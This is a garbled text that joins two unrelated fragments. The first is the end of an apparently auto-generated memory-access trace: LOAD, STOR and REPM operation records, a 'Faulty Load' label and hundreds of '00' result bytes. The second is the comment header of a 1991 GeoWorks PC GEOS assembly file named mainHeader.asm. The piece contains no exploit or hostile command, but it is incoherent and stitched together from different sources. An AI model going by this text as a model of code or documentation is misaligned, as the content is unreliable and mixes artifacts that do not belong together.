{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 11, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 3, 'size': 16, 'same': False, 'NT': False}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1991 -- All Rights Reserved
PROJECT: PC GEOS
MODULE:
FILE: mainHeader.asm
AUTHOR: John Wedgwood, May 6, 1991
METHODS:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
John 5/ 6/91 Initial revision
DESCRIPTION:
Implements header/footer ui stuff.
$Id: mainHeader.asm,v 1.1 97/04/04 15:48:58 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.